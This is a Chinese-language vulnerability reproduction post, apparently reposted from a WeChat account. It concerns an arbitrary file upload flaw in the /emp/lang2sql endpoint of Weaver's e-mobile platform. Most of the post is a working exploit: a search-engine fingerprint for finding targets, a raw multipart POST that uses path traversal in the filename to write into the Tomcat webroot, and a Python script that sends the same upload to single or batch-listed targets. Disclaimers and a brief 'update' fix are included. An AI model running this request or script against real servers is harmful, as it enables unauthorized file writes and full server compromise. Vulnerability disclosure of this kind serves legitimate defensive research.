漏洞复现|泛微移动管理平台 lang2sql接口任意文件上传

admin 2023年11月28日22:00:14评论260 views字数 3435阅读11分27秒阅读模式

 

漏洞复现

                       泛微移动管理平台任意文件上传

漏洞复现|泛微移动管理平台 lang2sql接口任意文件上传
文章声明  

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。本文所提供的工具仅用于学习,禁止用于其他目的,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。

产品介绍

0
1

漏洞复现|泛微移动管理平台 lang2sql接口任意文件上传

e-mobile统一移动平台在用户端为移动互联网用户提供办公统一入口,为企业提供面向员工、客户、伙伴、经销商、代理商的移动互联平台;在应用层面,打通企业行政、财务、人事、生产、采购、销售、市场、客服以及外部伙伴相互之间的业务交互通道,延展组织边界形成客户为中心的架构,促进企业内外部资源时时互联、协同工作。让企业适应整个社会的三大变革,即时空变革,业务变革,关系变革,最终带领企业走向互联移动化、业务电商化、管理社交化。
漏洞复现|泛微移动管理平台 lang2sql接口任意文件上传

漏洞介绍

由于该平台未对接口权限做限制,攻击者可以从lang2sql接口上传任意类型文件。远程攻击者可利用此漏洞获取服务器权限,造成服务器被完全控制。

漏洞编号:无

漏洞类:任意文件上传

资产测绘

0
2

漏洞复现|泛微移动管理平台 lang2sql接口任意文件上传

web.title="移动管理平台"

漏洞复现

0
3

漏洞复现|泛微移动管理平台 lang2sql接口任意文件上传

POST /emp/lang2sql?client_type=1&lang_tag=1 HTTP/1.1Content-Type: multipart/form-data;boundary=----WebKitFormBoundarymVk33liI64J7GQaKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept-Language: zh-CN,zh;q=0.9Host: 目标地址Content-Length: 202Expect: 100-continueConnection: close
------WebKitFormBoundarymVk33liI64J7GQaKContent-Disposition: form-data; name="file";filename="../../../../appsvr/tomcat/webapps/ROOT/9SIpL.txt"
b9Q2Itmn1------WebKitFormBoundarymVk33liI64J7GQaK--
拼接地址:http://目标地址/9SIpL.txt
漏洞复现|泛微移动管理平台 lang2sql接口任意文件上传
漏洞检测脚本:(来源于公众号网络安全透视镜)
# _*_ coding:utf-8 _*_# @Time : 2023/11/7 20:16# @Author: 为赋新词强说愁import requestsimport argparsefrom datetime import datetimeimport timerequests.packages.urllib3.disable_warnings()
RED_BOLD = "�33[1;31m"RESET = "�33[0m"def usage():    global RED_BOLD    global RESET    text = '''    +-----------------------------------------------------------------+                微信公众号    网络安全透视镜     此脚本仅用于学习或系统自检查    使用方法:        单个 python3 lang2sqlUpload.py -u url[例 http://127.0.0.1:8080]        批量 python3 lang2sqlUpload.py -f filename    +-----------------------------------------------------------------+         
    根据《中华人民共和国刑法》规定,违反国家规定,对计算机信息系统功能进行n删除、修改、增加、干扰,造成计算机信息系统不能正常运行的,处五年以下有期徒刑n或者拘役;后果特别严重的,处五年以上有期徒刑。    违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行n删除、修改、增加的操作,后果严重的,依照前款的规定处罚。    开始检测................................    '''    print(f"{RED_BOLD}{text}{RESET}")

# proxies = {'http':'http://127.0.0.1:10808}

def save_file(url):    with open('result.txt',mode='a',encoding='utf-8') as f:        f.write(url+'n')
def poc(check_url,flag):    now_poc = datetime.now()    global RED_BOLD    global RESET
    url = check_url + '/emp/lang2sql?client_type=1&lang_tag=1'    headers = {        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',        'Accept-Language': 'zh-CN,zh;q=0.9',        'Expect': '100-continue',        'Connection': 'close',    }    files = {        'file': ('../../../../appsvr/tomcat/webapps/ROOT/securityCheck.txt', 'This site has a vulnerability')    }    try:        response = requests.post(url, headers=headers, files=files, verify=False, timeout=4)        if response.status_code == 200 and "未知异常,请联系管理员" in response.text:            print(f'{RED_BOLD}[+]{now_poc.strftime("%Y-%m-%d %H:%M:%S")}t{check_url}t任意文件上传漏洞存在{RESET}')            save_file(check_url)        else:            print(f'[-]{now_poc.strftime("%Y-%m-%d %H:%M:%S")}t{check_url}t漏洞不存在')
    except Exception as e:        print(f'[-]{now_poc.strftime("%Y-%m-%d %H:%M:%S")}t{check_url}t无法访问,请检查目标站点是否存在')

def run(filepath):    flag = 0    urls = [x.strip() for x in open(filepath, "r").readlines()]    for u in urls:        if 'http' in u:            url = u        elif 'https' in u:            url = u        else:            url = 'http://' + u
        poc(url,flag)
def main():    parse = argparse.ArgumentParser()    parse.add_argument("-u", "--url", help="python lang2sqlUpload.py -u url")    parse.add_argument("-f", "--file", help="python lang2sqlUpload.py -f file")    args = parse.parse_args()    url = args.url    filepath = args.file    usage()    time.sleep(1)    if url is not None and filepath is None:        flag = 1        poc(url,flag)    elif url is None and filepath is not None:        run(filepath)    else:        usage()

if __name__ == '__main__':    main()
 

修复建议

1.更新到最新版本。

 

原文始发于微信公众号(Guoxin 401):漏洞复现|泛微移动管理平台 lang2sql接口任意文件上传

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月28日22:00:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现|泛微移动管理平台 lang2sql接口任意文件上传https://cn-sec.com/archives/2248550.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息